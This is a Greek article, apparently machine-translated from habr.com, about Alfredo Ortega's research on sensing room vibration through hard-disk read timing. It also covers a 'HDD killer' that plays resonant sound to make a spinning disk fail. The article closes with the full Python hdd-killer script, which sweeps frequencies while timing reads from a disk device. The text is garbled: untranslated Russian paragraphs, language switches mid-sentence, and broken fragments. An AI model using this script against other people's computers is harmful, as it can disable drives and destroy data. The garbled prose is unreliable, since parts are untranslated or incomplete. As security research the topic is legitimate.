
Στο συνέδριο ασφάλειας υπολογιστών Ekoparty 2017 στο Μπουένος Άιρες, ο Αργεντινός χάκερ Alfredo Ortega έδειξε μια πολύ ενδιαφέρουσα εξέλιξη - ένα σύστημα κρυφής υποκλοπής χώρων χωρίς τη χρήση μικροφώνου. Ήχος !
Ο σκληρός δίσκος λαμβάνει κυρίως ήχους χαμηλής συχνότητας υψηλής έντασης, βήματα και άλλους κραδασμούς. Η ανθρώπινη ομιλία δεν μπορεί ακόμη να αναγνωριστεί, αν και οι επιστήμονες (αναγνώριση ομιλίας με δονήσεις χαμηλής συχνότητας, οι οποίες καταγράφονται, για παράδειγμα, από γυροσκόπιο ή σκληρό δίσκο).
Ο ήχος είναι η δόνηση του αέρα ή άλλου μέσου. Ένα άτομο τα αντιλαμβάνεται μέσω του τυμπάνου, το οποίο μεταδίδει δονήσεις στο εσωτερικό αυτί. Το μικρόφωνο είναι σχεδιασμένο περίπου σαν αυτί - και εδώ, οι δονήσεις καταγράφονται από μια λεπτή μεμβράνη, η οποία διεγείρει μια ηλεκτρική ώθηση. Ο σκληρός δίσκος, φυσικά, υπόκειται και σε μικροσκοπικούς κραδασμούς λόγω διακυμάνσεων στον περιβάλλοντα αέρα. Αυτό είναι γνωστό ακόμη και από τα τεχνικά χαρακτηριστικά των σκληρών δίσκων: οι κατασκευαστές συνήθως υποδεικνύουν το μέγιστο επιτρεπόμενο επίπεδο δόνησης και ο ίδιος ο σκληρός δίσκος προσπαθεί συχνά να τον τοποθετήσει σε ένα αντικραδασμικό δοχείο κατασκευασμένο από καουτσούκ ή άλλο μονωτικό υλικό. Από αυτό είναι εύκολο να συμπεράνουμε ότι οι ήχοι μπορούν να εγγραφούν χρησιμοποιώντας HDD. Το μόνο που μένει είναι να καταλάβουμε πώς.
Ο Alfredo Ortega πρότεινε μια μοναδική εκδοχή μιας επίθεσης πλευρικού καναλιού, δηλαδή μια επίθεση χρόνου. Αυτή η επίθεση βασίζεται στην υπόθεση ότι εκτελούνται διαφορετικές λειτουργίες στη συσκευή σε διαφορετικούς χρόνους, ανάλογα με τα δεδομένα εισόδου που δίνονται. Στην περίπτωση αυτή, τα «δεδομένα εισόδου» είναι οι δονήσεις της κεφαλής ανάγνωσης και της πλάκας του σκληρού δίσκου, που συσχετίζονται με τους κραδασμούς του περιβάλλοντος, δηλαδή με τον ήχο. Έτσι, μετρώντας τον υπολογιστικό χρόνο και εκτελώντας μια στατιστική ανάλυση των δεδομένων, μπορούν να μετρηθούν οι δονήσεις της κεφαλής/πιατέλας και επομένως οι δονήσεις του μέσου. Όσο μεγαλύτερη είναι η καθυστέρηση στην ανάγνωση δεδομένων, τόσο ισχυρότεροι είναι οι κραδασμοί του σκληρού δίσκου και, επομένως, τόσο πιο δυνατός είναι ο ήχος.
Πώς να μετρήσετε τη δόνηση του σκληρού δίσκου; Πολύ απλό: απλώς εκτελέστε την κλήση συστήματος read () — και καταγράψτε το χρόνο που χρειάζεται για να ολοκληρωθεί. Τα σύγχρονα λειτουργικά συστήματα σάς επιτρέπουν να διαβάζετε τον χρονισμό των κλήσεων συστήματος με ακρίβεια νανοδευτερόλεπτου.
Η ταχύτητα ανάγνωσης πληροφοριών από έναν τομέα εξαρτάται από τη θέση της κεφαλής και της πλάκας, η οποία συσχετίζεται με τους κραδασμούς της θήκης του σκληρού δίσκου. Αυτό είναι όλο.
Η στατιστική ανάλυση πραγματοποιείται χρησιμοποιώντας ένα απλό βοηθητικό πρόγραμμα Kscope. Όπως λένε, κάθε έξυπνο είναι απλό.

Βοηθητικό πρόγραμμα Kscope (stat() syscall)
Το Kscope είναι ένα μικρό βοηθητικό πρόγραμμα για την οπτικοποίηση μικροσκοπικών διαφορών στους χρόνους εκτέλεσης κλήσεων συστήματος. Πηγή.
Σε ξεχωριστό αποθετήριο υπάρχει μια έκδοση του βοηθητικού προγράμματος που έχει ρυθμιστεί για χρονική επίθεση στον σκληρό δίσκο, δηλαδή έχει ρυθμιστεί να αναλύει την κλήση συστήματος read ().
Επίδειξη εγγραφής ήχου με χρήση HDD, λειτουργία του βοηθητικού προγράμματος Kscope

Φυσικά, η ομιλία δεν μπορεί να γίνει κατανοητή με αυτόν τον τρόπο, αλλά ο σκληρός δίσκος είναι αρκετά κατάλληλος ως αισθητήρας κραδασμών. Για παράδειγμα, μπορείτε να εγγραφείτε εάν ένα άτομο που φοράει σκληρά παπούτσια ή ξυπόλητος μπήκε σε ένα δωμάτιο με υπολογιστή (πιθανώς, εάν ο εισβολέας φοράει μαλακά αθλητικά παπούτσια ή υπάρχει ένα χοντρό χαλί στο πάτωμα, ο σκληρός δίσκος δεν θα μπορεί να καταγράψει κραδασμούς - αυτό αξίζει να το ελέγξετε). Ο υπολογιστής μπορεί να καταγράψει σπασμένα γυαλιά ή άλλα συμβάντα με ισχυρή ένταση ήχου. Δηλαδή, ο σκληρός δίσκος μπορεί να χρησιμεύσει ως ένα είδος μη εξουσιοδοτημένου συστήματος ανίχνευσης εισβολής.
HDD killer
Кстати, схожую технику можно использовать для выведения из строя жёстких дисков. Только здесь мы не снимаем колебания с HDD, а наоборот — генерируем колебания, которые подаются на HDD. Если воспроизводить с колонки звук на частоте, которая резонирует с частотой HDD, то система вскоре отключает устройство с ошибкой ввода-вывода (ядро Linux полностью отключает HDD через 120 секунд). Сам жёсткий диск может получить необратимые повреждения.

Ο πυρήνας Linux отключило жёсткий диск после 120 секунд подачи звука на резонирующей частоте через динамик USB-колонки Edifier r19u. Динамик включен примерно на четверть мощности (менее 100 мВт) и располагается в 20 см от HDD, направлен на стол для усиления вибраций. Кадр из με μια επίδειξη του δολοφόνου HDD
Είναι περίεργο ότι τέτοιες «επιθέσεις» στους σκληρούς δίσκους μερικές φορές συμβαίνουν εντελώς τυχαία στην καθημερινή ζωή. Για παράδειγμα, τον Σεπτέμβριο του 2016, το κέντρο δεδομένων της ING Bank αναγκάστηκε να αναστείλει τη λειτουργία του για 10 ώρες μετά από άσκηση πυροσβεστικής. λόγω του δυνατού ήχου του αδρανούς αερίου που απελευθερώνεται από τους κυλίνδρους υπό υψηλή πίεση. Ο ήχος ήταν πολύ δυνατός (πάνω από 130 dB), αλλά δεν μπορείτε καν να φωνάξετε στους σκληρούς δίσκους - αυτό αυξάνει την καθυστέρηση στην πρόσβαση στον σκληρό δίσκο.
Επίδειξη ανθρώπινης κραυγής σε σκληρούς δίσκους σε κέντρο δεδομένων. Μέτρηση λανθάνοντος χρόνου

Για να δημιουργήσει τον ηχητικό ήχο, ο Alfredo Ortega έγραψε ένα σενάριο Python που ονομάζεται ().
Είναι αρκετά μικρό, οπότε μπορείτε να το δημοσιεύσετε ολόκληρο εδώ.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()Πηγή: www.habr.com
